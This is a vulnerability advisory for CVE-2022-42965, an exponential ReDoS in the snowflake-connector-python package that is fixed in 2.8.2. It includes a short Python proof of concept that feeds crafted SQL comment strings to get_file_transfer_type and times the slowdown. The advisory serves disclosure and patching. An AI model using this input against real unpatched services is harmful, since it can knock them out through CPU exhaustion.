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XRAY-257185 - snowflake-connector-python ReDoS

CVE-2022-42965 | CVSS 3.7

JFrog Severity: Low

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Summary

Exponential ReDoS in snowflake-connector-python leads to denial of service

Component

[snowflake-connector-python](#)

Affected versions

snowflake-connector-python (<2.8.1], Fixed in 2.8.2

Description

An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the snowflake-connector-python PyPI package, when an attacker is able to supply arbitrary input to the undocumented `get_file_transfer_type` method.

PoC

```
import time
from snowflake.connector.cursor import SnowflakeCursor

for i in range(100):
    start_time = time.time()
    sql = '/*\n' + '\t*/get\t*/\t*/\n'*i + '\t*/get\n'
    SnowflakeCursor.get_file_transfer_type(sql)
    print("--- %s seconds ---" % (time.time() - start_time))
```

Vulnerability Mitigations

No mitigations are supplied for this issue

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